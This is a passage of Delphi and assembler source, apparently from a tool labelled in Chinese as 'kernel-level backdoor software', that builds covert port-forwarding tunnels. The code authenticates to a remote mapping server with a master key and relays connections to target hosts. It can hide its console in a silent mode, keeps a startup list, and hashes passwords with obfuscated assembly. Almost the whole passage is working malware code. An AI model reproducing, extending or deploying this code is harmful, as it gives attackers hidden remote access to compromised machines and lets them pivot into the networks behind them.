rdrbs100.dpr

内核级后门软件

  sub esp,01Ch
 @PeekMessages_loop:
  push PM_REMOVE
  push 000h
  push 000h
  push 000h
  lea eax,[ebp-01Ch]
  push eax
  call PeekMessageA
  test eax,eax
  jnz @PeekMessages_loop
  push 00Ah
  call Sleep
  leave
  ret

end;

function TestMappingServer(AMappingAddr:TInAddr;AMappingPort:Cardinal;AAuthNum:Cardinal):Boolean;
var
 LTCPClient:TTCPClient;
 LSign:Byte;
 LBuf:array[1..8192] of Char;
 LI:Integer;
begin
 Result:=False;
 try
  LTCPClient:=TTCPClient.Create;
  LTCPClient.SetHost(inet_ntoa(AMappingAddr),AMappingPort);
  with LTCPClient do
  if Connect then
  begin
   while RecvData(@LBuf,SizeOf(LBuf),500)>0 do WaitPoint(100);
   for LI:=1 to 20 do
   begin
    ZeroMemory(@LBuf,SizeOf(LBuf));
//    SendBuffer(LBuf,MASTER_KEY_LEN);
    CopyMemory(@LBuf,@MasterKey[0],MASTER_KEY_LEN);
    SendData(@LBuf,MASTER_KEY_LEN);
    if LI mod 3=0 then SendData(@LBuf,MASTER_KEY_LEN);
    if LI mod 4=0 then SendData(@LBuf,MASTER_KEY_LEN);
    if LI mod 5=0 then SendData(@LBuf,MASTER_KEY_LEN);
    if LI mod 6=0 then SendData(@LBuf,MASTER_KEY_LEN);
    LSign:=0;
    RecvData(@LSign,SizeOf(LSign),2000);
    if LSign=BSC_INIT_REQ_1 then Break;
   end;
   if LSign=BSC_INIT_REQ_1 then
   begin
    while RecvData(@LBuf,SizeOf(LBuf),250)>0 do WaitPoint(100);
    ZeroMemory(@LBuf,SizeOf(LBuf));

    for LI:=1 to 20 do
    begin
     case LSign of
      0:LSign:=BSC_INIT_RES_1;
      BSC_INIT_REQ_1,BSC_INIT_REQ_2,BSC_INIT_REQ_3:Inc(LSign);
      BSC_INIT_COMPLETE:Break;
     end;
     SendData(@LSign,SizeOf(LSign));
     LSign:=0;
     RecvData(@LSign,SizeOf(LSign),5000);
    end;
    if LSign=BSC_INIT_COMPLETE then
    begin
     SendData(@AAuthNum,SizeOf(AAuthNum));
     RecvData(@LSign,SizeOf(LSign));
     if LSign=BSC_AUTHORIZATION_OK then
     begin
      LSign:=BSC_SERVICE_TEST_REQ;
      SendData(@LSign,SizeOf(LSign));
      RecvData(@LSign,SizeOf(LSign));
      Result:=LSign=BSC_SERVICE_TEST_RES;
     end;
    end;
   end;
  end;
  LTCPClient.Free;
 except
  Result:=False;
 end;
end;

procedure NewRedir(AArgs:Pointer);stdcall;
var
 LPMappedPort:PMappedPort;
 LI:Integer;
begin
 LPMappedPort:=AArgs;
 with LPMappedPort^ do
  AddRedir(LocalListenPort,MappingServer,MappingServerPort,@Opened,TargetServer,TargetServerPort,PortType,Pointer(Domain),AuthNum);
 LI:=MappedPorts.IndexOf(LPMappedPort);
 WriteLn('Port number '+IntToStr(LI)+' closed.');
end;

procedure Write(const CStr:string);
begin
 if not SilentNow then System.Write(CStr);
end;

procedure WriteLn(const CStr:string);
begin
 if not SilentNow then System.WriteLn(CStr);
end;

procedure Read(var VStr:string);
begin
 if not SilentNow then System.Read(VStr);
end;

procedure ReadLn(var VStr:string);
begin
 if not SilentNow then System.ReadLn(VStr);
end;

procedure KillMappedPorts;
var
 LPMappedPort:PMappedPort;
 LI:Integer;
begin
 if MappedPorts=nil then Exit;
 for LI:=0 to MappedPorts.Count-1 do
 begin
  LPMappedPort:=MappedPorts[LI];
  Dispose(LPMappedPort);
 end;
 MappedPorts.Clear;
 MappedPorts.Free;
 MappedPorts:=nil;
end;

procedure KillStartupList;
var
 LPStartupItem:PStartupItem;
 LI:Integer;
begin
 if StartupList=nil then Exit;
 for LI:=0 to StartupList.Count-1 do
 begin
  LPStartupItem:=StartupList[LI];
  Dispose(LPStartupItem);
 end;
 StartupList.Clear;
 StartupList.Free;
 StartupList:=nil;
end;

function IniNameFromExe:string;
var
 LBuffer:array[0..MAX_PATH-1] of Char;
 LPB:^Char;
 LRet:Cardinal;
 LStr:string;
begin
 Result:='';
 ZeroMemory(@LBuffer,SizeOf(LBuffer));
 LRet:=GetModuleFileName(0,LBuffer,SizeOf(LBuffer));
 LPB:=@LBuffer[LRet];
 while LRet>0 do
 begin
  if LPB^='.' then Break
  else Dec(LPB);
  Dec(LRet);
 end;
 if LRet=0 then Exit;
 Inc(LPB);
 LPB^:='i';
 Inc(LPB);
 LPB^:='n';
 Inc(LPB);
 LPB^:='i';
 LStr:=LBuffer;
 Result:=ExtractFileName(LStr);
end;

function AuthStrToNum(P:Pointer):Cardinal; stdcall; assembler;
asm
 @auth:
  push edi
  push ebx
  push esi
  mov esi,P
  push esi
  push 03F1h
  pop ebx
  mov eax,0FA230000h
  mov edx,0633AF89Eh
  mov edi,03481A3C1h
 @auth_first:
  pop esi
  push esi
  push 008h
  pop ecx
 @auth_next:
  lodsw
  shl eax,003h
  add eax,edi
  xor edx,eax
  add dh,cl
  setz al
  inc al
  add edi,eax
  loop @auth_next
 @auth_end:
  add edx,edi
  dec ebx
  jnz @auth_first
  mov eax,edx
  pop esi
  pop esi
  pop ebx
  pop edi
end;

function SaveIniFile:Boolean;
var
 LFile:TextFile;
 LI:Integer;
 LStr1,LStr2:string;
 LPMappedPort:PMappedPort;
 LPStartupItem:PStartupItem;
begin
 Result:=False;
 if FileExists(IniFile) then DeleteFile(IniFile);
 if FileExists(IniFile) then Exit;
 AssignFile(LFile,IniFile);
 Rewrite(LFile);
 System.WriteLn(LFile,'[Settings]');
 System.Write(LFile,'SilentMode=');
 if Settings.SilentMode then System.WriteLn(LFile,'True')
 else System.WriteLn(LFile,'False');
 System.WriteLn(LFile);
 System.WriteLn(LFile,'[Startup]');
 for LI:=0 to StartupList.Count-1 do
 begin
  LPStartupItem:=StartupList[LI];
  LStr1:=Trim(LPStartupItem^);
  System.WriteLn(LFile,LStr1);
 end;
 System.WriteLn(LFile);
 System.WriteLn(LFile,'[Mapped ports]');
 for LI:=0 to MappedPorts.Count-1 do
 begin
  LPMappedPort:=MappedPorts[LI];
  with LPMappedPort^ do
  begin
   case PortType of
    ptUnknown:LStr2:='';
    ptNormal:LStr2:='NORMAL';
    ptHTTP:LStr2:='HTTP';
   end;
   LStr1:={ID+':'+}IntToStr(LocalListenPort)+':'+inet_ntoa(MappingServer)+':'+IntToStr(MappingServerPort)+':'+inet_ntoa(TargetServer)+':'+IntToStr(TargetServerPort)+':'+Trim(Password)+':'+LStr2+':'+Domain;
   System.WriteLn(LFile,LStr1);
  end;
 end;
 System.WriteLn(LFile);

 CloseFile(LFile);
 Result:=True;
end;

function LoadIniFile:Boolean;
var
 LFileName,LOrg,LLine,LStr:string;
 LFile:TextFile;
 LFailed:Boolean;
 LAuthPass:array[0..15] of Char;
 LMappedPort:TMappedPort;
 LPMappedPort:PMappedPort;
 LPStartupItem:PStartupItem;
begin
 Result:=False;
 ZeroMemory(@Settings,SizeOf(Settings));
 if ParamCount=1 then IniFile:=ParamStr(1)
 else IniFile:=IniNameFromExe;
 LOrg:=IniFile;
 KillMappedPorts;
 KillStartupList;
 MappedPorts:=TList.Create;
 StartupList:=TList.Create;
 if not FileExists(IniFile) then
 begin
  LFileName:=ExtractFilePath(ParamStr(0));
  AddLastBackslash(LFileName);
  IniFile:=LFileName+ExtractFileName(IniFile);
  if not FileExists(IniFile) then
  begin
   IniFile:=LFileName+LOrg;
   SaveIniFile;
  end;
  if not FileExists(IniFile) then Exit;
 end;
 LFailed:=False;
 AssignFile(LFile,IniFile);
 Reset(LFile);
 while (not EoF(LFile)) and (UpCase(LLine)<>'[SETTINGS]') do System.ReadLn(LFile,LLine);
 if EoF(LFile) then begin CloseFile(LFile); Exit; end;
 while not EoF(LFile) do
 begin
  System.ReadLn(LFile,LLine);
  LLine:=Trim(LLine);
  if Length(LLine)=0 then Break;

  if Pos('SILENTMODE',UpCase(LLine))=1 then Settings.SilentMode:=Pos('TRUE',UpCase(LLine))>0;
 end;
 CloseFile(LFile);
 if WindowsType<>wtNT then Settings.SilentMode:=False;
 SilentNow:=Settings.SilentMode;

 AssignFile(LFile,IniFile);
 Reset(LFile);
 while (not EoF(LFile)) and (UpCase(LLine)<>'[STARTUP]') do System.ReadLn(LFile,LLine);
 if EoF(LFile) then begin CloseFile(LFile); Exit; end;
 while not EoF(LFile) do
 begin
  System.ReadLn(LFile,LLine);
  LLine:=Trim(LLine);
  if Length(LLine)=0 then Break;
  if Length(LLine)>=SizeOf(TStartupItem) then SetLength(LLine,SizeOf(TStartupItem)-1);
  New(LPStartupItem);
  ZeroMemory(LPStartupItem,SizeOf(TStartupItem));
  CopyMemory(LPStartupItem,Pointer(LLine),Length(LLine));
  StartupList.Add(LPStartupItem);
 end;
 CloseFile(LFile);

 Reset(LFile);
 while (not EoF(LFile)) and (UpCase(LLine)<>'[MAPPED PORTS]') do System.ReadLn(LFile,LLine);
 if EoF(LFile) then begin CloseFile(LFile); Exit; end;
 while not EoF(LFile) do
 with LMappedPort do
 begin
  ZeroMemory(@LMappedPort,SizeOf(LMappedPort));
  System.ReadLn(LFile,LLine);
  LLine:=Trim(LLine);
  if Length(LLine)=0 then Break;
{  LStr:=Copy(LLine,1,Pos(':',LLine)-1);
  LLine:=Copy(LLine,Pos(':',LLine)+1,MaxInt);
  SetLength(LStr,4);
  CopyMemory(@ID,Pointer(LStr),4);}
  LStr:=Copy(LLine,1,Pos(':',LLine)-1);
  LLine:=Copy(LLine,Pos(':',LLine)+1,MaxInt);
  LocalListenPort:=StrToIntDef(LStr);
  LStr:=Copy(LLine,1,Pos(':',LLine)-1);
  LLine:=Copy(LLine,Pos(':',LLine)+1,MaxInt);
  MappingServer.S_addr:=inet_addr(PChar(LStr));
  LStr:=Copy(LLine,1,Pos(':',LLine)-1);
  LLine:=Copy(LLine,Pos(':',LLine)+1,MaxInt);
  MappingServerPort:=StrToIntDef(LStr);
  LStr:=Copy(LLine,1,Pos(':',LLine)-1);
  LLine:=Copy(LLine,Pos(':',LLine)+1,MaxInt);
  TargetServer.S_addr:=inet_addr(PChar(LStr));
  LStr:=Copy(LLine,1,Pos(':',LLine)-1);
  LLine:=Copy(LLine,Pos(':',LLine)+1,MaxInt);
  TargetServerPort:=StrToIntDef(LStr);
  LStr:=Copy(LLine,1,Pos(':',LLine)-1);
  LLine:=Copy(LLine,Pos(':',LLine)+1,MaxInt);
  FillChar(LAuthPass,SizeOf(LAuthPass),$20);
  if Length(LStr)>16 then SetLength(LStr,16);
  CopyMemory(@LAuthPass,Pointer(LStr),Length(LStr));
  CopyMemory(@Password,@LAuthPass,SizeOf(Password));
  AuthNum:=AuthStrToNum(@LAuthPass);
  LStr:=Copy(LLine,1,Pos(':',LLine)-1);
  LLine:=Copy(LLine,Pos(':',LLine)+1,MaxInt);
  if UpCase(LStr)='NORMAL' then PortType:=ptNormal
  else if UpCase(LStr)='HTTP' then PortType:=ptHTTP
  else PortType:=ptUnknown;
  LStr:=LLine;
  if PortType=ptHTTP then Domain:=Trim(LStr)
  else Domain:='';

  LFailed:=(LocalListenPort=0) or (MappingServerPort=0) or (TargetServerPort=0)
        or (MappingServer.S_addr=INADDR_NONE) or (TargetServer.S_addr=INADDR_NONE) or (PortType=ptUnknown);
  if LFailed then Break;
  Opened:=False;
  New(LPMappedPort);
  LPMappedPort^:=LMappedPort;
  MappedPorts.Add(LPMappedPort);
 end;
 CloseFile(LFile);
 Result:=not LFailed;
end;

procedure HideConsole;
begin
 WriteLn('');
 if ReadThreadExists then ReadThreadSuspened:=SuspendThread(ReadThreadHandle)<>$FFFFFFFF;
 ReadConsoleOutput(OutputHandle,@ConsoleScreenBuffer,FirstCoords,SecondCoords,FirstRect);
 GetConsoleCursorInfo(OutputHandle,ConsoleCursorInfo);
 GetConsoleScreenBufferInfo(OutputHandle,ConsoleScreenBufferInfo);
 IsConsole:=not FreeConsole;
end;

procedure ShowConsole;
begin
 if not SilentNow then IsConsole:=AllocConsole
 else IsConsole:=True;
 if not IsConsole then Exit;
 WriteLn('');
 InputHandle:=GetStdHandle(STD_INPUT_HANDLE);
 OutputHandle:=GetStdHandle(STD_OUTPUT_HANDLE);
 SetConsoleScreenBufferSize(OutputHandle,FirstCoords);
 WriteConsoleOutput(OutputHandle,@ConsoleScreenBuffer,FirstCoords,SecondCoords,FirstRect);
 SetConsoleCursorInfo(OutputHandle,ConsoleCursorInfo);
 SetConsoleCursorPosition(OutputHandle,ConsoleScreenBufferInfo.dwCursorPosition);
 if ReadThreadExists then ResumeThread(ReadThreadHandle);
end;

procedure OpenMappedPort(AIndex:Integer);
var
 LPMappedPort:PMappedPort;
 LTID:Cardinal;
 LI:Integer;
begin
 if AIndex=-1 then
 begin
  for LI:=0 to MappedPorts.Count-1 do
  begin
   LPMappedPort:=MappedPorts[LI];
   if not LPMappedPort^.Opened then
   begin
    LPMappedPort^.Opened:=True;
    CreateThread(nil,0,@NewRedir,LPMappedPort,0,LTID);
    WaitPoint(500);
    if LPMAppedPort^.Opened then WriteLn('Port number '+IntToStr(LI)+' opened.');
   end;
  end;
 end else
 begin
  LPMappedPort:=MappedPorts[AIndex];
  LPMappedPort^.Opened:=True;
  CreateThread(nil,0,@NewRedir,LPMappedPort,0,LTID);
  WaitPoint(500);
  if LPMAppedPort^.Opened then WriteLn('Port number '+IntToStr(AIndex)+' opened.');
 end;
end;

procedure CloseMappedPort(AIndex:Integer);
var
 LPMappedPort:PMappedPort;
 LI:Integer;
begin
 if AIndex=-1 then
 begin
  for LI:=0 to MappedPorts.Count-1 do
  begin
   LPMappedPort:=MappedPorts[LI];
   if LPMappedPort^.Opened then
   begin
    LPMappedPort^.Opened:=False;
    WaitPoint(250);
   end;
  end;
  WaitPoint(250);
 end else
 begin
  LPMappedPort:=MappedPorts[AIndex];
  LPMappedPort^.Opened:=False;
  WaitPoint(500);
 end;
end;

function MappedPortsListAdd(AArgs:string;var VMappedPort:TMappedPort):Boolean;
var
 LStr1:string;
 LAuthPass:array[0..15] of Char;
begin
 Result:=False;
 with VMappedPort do
 begin
  if Length(AArgs)=0 then
  begin
   Write('Local port: ');
   ReadLn(LStr1);
   LocalListenPort:=StrToIntDef(LStr1);
   if LocalListenPort>0 then
   begin
    Write('Mapping server: ');
    ReadLn(LStr1);
    MappingServer.S_addr:=inet_addr(PChar(LStr1));
    if MappingServer.S_addr<>INADDR_NONE then
    begin
     Write('Mapping server port: ');
     ReadLn(LStr1);
     MappingServerPort:=StrToIntDef(LStr1);
     if MappingServerPort>0 then
     begin
      Write('Target server: ');
      ReadLn(LStr1);
      TargetServer.S_addr:=inet_addr(PChar(LStr1));
      if TargetServer.S_addr<>INADDR_NONE then
      begin
       Write('Target server port: ');
       ReadLn(LStr1);
       TargetServerPort:=StrToIntDef(LStr1);
       if TargetServerPort>0 then
       begin
        Write('Password: ');
        ReadLn(LStr1);
        if Length(Trim(LStr1))>0 then
        begin
         FillChar(LAuthPass,SizeOf(LAuthPass),$20);
         if Length(LStr1)>16 then SetLength(LStr1,16);
         CopyMemory(@LAuthPass,Pointer(LStr1),Length(LStr1));
         CopyMemory(@Password,@LAuthPass,SizeOf(Password));
         AuthNum:=AuthStrToNum(@LAuthPass);
         Write('Type (press enter for NORMAL type): ');
         ReadLn(LStr1);
         LStr1:=UpCase(LStr1);
         if Length(Trim(LStr1))=0 then PortType:=ptNormal
         else if LStr1='NORMAL' then PortType:=ptNormal
         else if LStr1='HTTP' then PortType:=ptHTTP
         else PortType:=ptUnknown;
         case PortType of
          ptUnknown:WriteLn('Unknown port type');
          ptHTTP:begin
           Write('Domain: ');
           ReadLn(LStr1);
           Domain:=LStr1;
          end;
          else ;
         end;
         Result:=not (PortType=ptUnknown);
        end else WriteLn('Password can''t be empty.');
       end else WriteLn('Port value must be 1 - 65535.');
      end else WriteLn('Server address must be IP in A.B.C.D format.');
     end else WriteLn('Port value must be 1 - 65535.');
    end else WriteLn('Server address must be IP in A.B.C.D format.');
   end else WriteLn('Port value must be 1 - 65535.');
  end else
  begin
   AArgs:=AArgs+'   ';
   LStr1:=Copy(AArgs,1,Pos(' ',AArgs)-1);
   AArgs:=Copy(AArgs,Pos(' ',AArgs)+1,MaxInt);
   LocalListenPort:=StrToIntDef(LStr1);
   LStr1:=Copy(AArgs,1,Pos(' ',AArgs)-1);
   AArgs:=Copy(AArgs,Pos(' ',AArgs)+1,MaxInt);
   MappingServer.S_addr:=inet_addr(PChar(LStr1));
   LStr1:=Copy(AArgs,1,Pos(' ',AArgs)-1);
   AArgs:=Copy(AArgs,Pos(' ',AArgs)+1,MaxInt);
   MappingServerPort:=StrToIntDef(LStr1);
   LStr1:=Copy(AArgs,1,Pos(' ',AArgs)-1);
   AArgs:=Copy(AArgs,Pos(' ',AArgs)+1,MaxInt);
   TargetServer.S_addr:=inet_addr(PChar(LStr1));
   LStr1:=Copy(AArgs,1,Pos(' ',AArgs)-1);
   AArgs:=Copy(AArgs,Pos(' ',AArgs)+1,MaxInt);